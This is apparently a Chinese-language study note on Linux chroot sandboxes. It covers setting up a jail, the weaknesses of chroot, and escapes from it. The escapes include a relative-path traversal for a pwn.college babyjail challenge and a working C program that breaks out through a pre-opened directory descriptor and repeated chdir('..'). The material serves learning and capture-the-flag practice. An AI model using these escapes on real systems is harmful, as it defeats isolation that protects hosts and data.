前言
参考:
https://wsxk.github.io/sandbox_escape/
http://maskray.me/blog/2011-08-16-break-out-of-chroot
https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/15/sandbox/
https://juejin.cn/post/6844903592466317319
chroot
一个传统的沙盒措施
chroot 会修改 /
对于一个进程(包括其子进程)的含义
chroot("/tmp/jail");
会让进程认为 /tmp/jail
(操作系统中的)就是自己的 /
目录,并且 /tmp/jail/..
指向 /tmp/jail
不过实际上这里 chroot 并没有禁止系统调用,也没有其他隔离功能,只是修改了根目录的位置
使用
chroot 系统调用执行时需要 privilege,一般情况下需要 root 权限,所以执行时若不是 root 用户,需要执行
sudo
被执行的命令或程序,需要在被限制的目录下,如
sudo chroot /tmp /bin/bash
,这种情况下,在 /tmp/bin 目录中需要有bash文件mkdir bin cp /bin/bash /tmp/jail/bin
被执行程序,需要是静态编译好的,否则,需要把动态链接所需的所有库都放入jail当中
使用
ldd
查看所需的动态链接库,然后依次复制过来ldd bin/bash mkdir lib64 mkdir -p lib/x86_64-linux-gnu cp /lib64/ld-linux-x86-64.so.2 lib64 cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/ cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/ cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/
可以考虑使用 busybox(集成了很多常见的 unix 命令):https://busybox.net/
进入沙盒
sudo chroot /tmp/jail /bin/bash
执行 exit 可以退出环境
缺点
chroot
不会对原本已经开启的文件描述符等系统资源做限制int open(char *pathname, int flags); int openat(int dirfd, char *pathname, int flags); int execve(char *pathname, char **argv, char **envp); int execveat(int dirfd, char *pathname, char **argv, char **envp, int flags);
与 open 和 execve 类似, Linux 还有
openat
和execveat
的系统调用dirfd
能表示为任何一个打开着的目录文件描述符, 或者是特殊值 AT_FDCWD (在linux代表的是当前工作目录)注意:
chroot()
不会改变当前工作目录chroot("/tmp/jail")
不能通过cd (chdir())
来进入jail,需要显式调用chdir("/")
才行内核并不会记得程序已经在一个 jail 当中,也就是说,你可以通过再使用一次
chroot("/")
来跳出 jail(当然这要求进程有 CAP_SYS_CHROOT 权限,通常就是 root)除非 chroot 被禁用,
euid
为0(即具备root或suid)的程序可以随时跳出jailecho $$
能打印当前 shell 的进程id,可以开启其他终端来 kill 掉 jail 的运行(echo
是 shell 内建命令)chroot 不隔离网络,那么可以在 chroot 里下载需要的工具
C语言编写chroot sandbox
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main() {
char *sandbox_dir = "/tmp/jail";
// 创建沙盒目录
if (mkdir(sandbox_dir, 0755) == -1) {
perror("mkdir");
exit(EXIT_FAILURE);
}
// 设置沙盒根目录
if (chroot(sandbox_dir) == -1) {
perror("chroot");
exit(EXIT_FAILURE);
}
// 设置根目录为当前工作目录
if (chdir("/") == -1) {
perror("chdir");
exit(EXIT_FAILURE);
}
// 在沙盒中运行命令
system("/bin/bash");
return 0;
}
逃逸
相对路径逃逸
chroot是改变了/
在程序的根目录,这意味着绝对路径的访问会被限制
但是相对路径(这取决于你是在哪个目录下运行程序的)是可以绕过这个机制的。如果程序的当前工作目录没有被改变(即没有调用chdir("/")
的话),这个方法大有可为
对于以下sandbox:https://github.com/pwncollege/challenges/blob/master/babyjail/level1/0/babyjail_level1.c
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
int main(int argc, char **argv, char **envp)
{
assert(argc > 0);
printf("###\n");
printf("### Welcome to %s!\n", argv[0]);
printf("###\n");
printf("\n");
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);
puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
puts("The only thing you can do in this challenge is read out one single file, as specified by the first argument to the");
puts("program (argv[1]).\n");
assert(argc > 1);
char jail_path[] = "/tmp/jail-XXXXXX";
assert(mkdtemp(jail_path) != NULL);
printf("Creating a jail at `%s`.\n", jail_path);
assert(chroot(jail_path) == 0);
int fffd = open("/flag", O_WRONLY | O_CREAT);
write(fffd, "FLAG{FAKE}", 10);
close(fffd);
printf("Sending the file at `%s` to stdout.\n", argv[1]);
sendfile(1, open(argv[1], 0), 0, 128);
}
设置 chroot 路径在 /tmp/jail-XXXXXX,但是没有设置 chdir 工作目录,此时内核中的 CWD 不属于 jail 及其子目录导致存在逃逸
这样子直接用..
向上逃逸即可
此时:
1. 真flag 位于 /flag
2. 假flag 位于 /tmp/jail-xxxxxx/flag
3. 程序的当前工作目录是 /tmp/sandbox
利用chroot之前打开的目录/文件描述符实现逃逸
#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
int fd = open(".", O_RDONLY), i; // 打开一个 jail 外的文件描述符,可以通过 fd 指向的目录路径访问 chroot 之外的文件
mkdir("tempdir", 0755);
if (fd == -1)
return 1;
if (chroot("tempdir") == -1)
return 1; // chroot
if (fchdir(fd) == -1)
return 1; // 脱离
for (i = 0; i < 1024; i++) // 回到原先的root目录。这里绝对不能使用`/`,只能逐步上移
chdir("..");
if (chroot(".") == -1)
return 1; // 若是特权进程,则可进一步,把root设回去;不是的话也足以访问jail外的文件
system("ls");
return 0;
}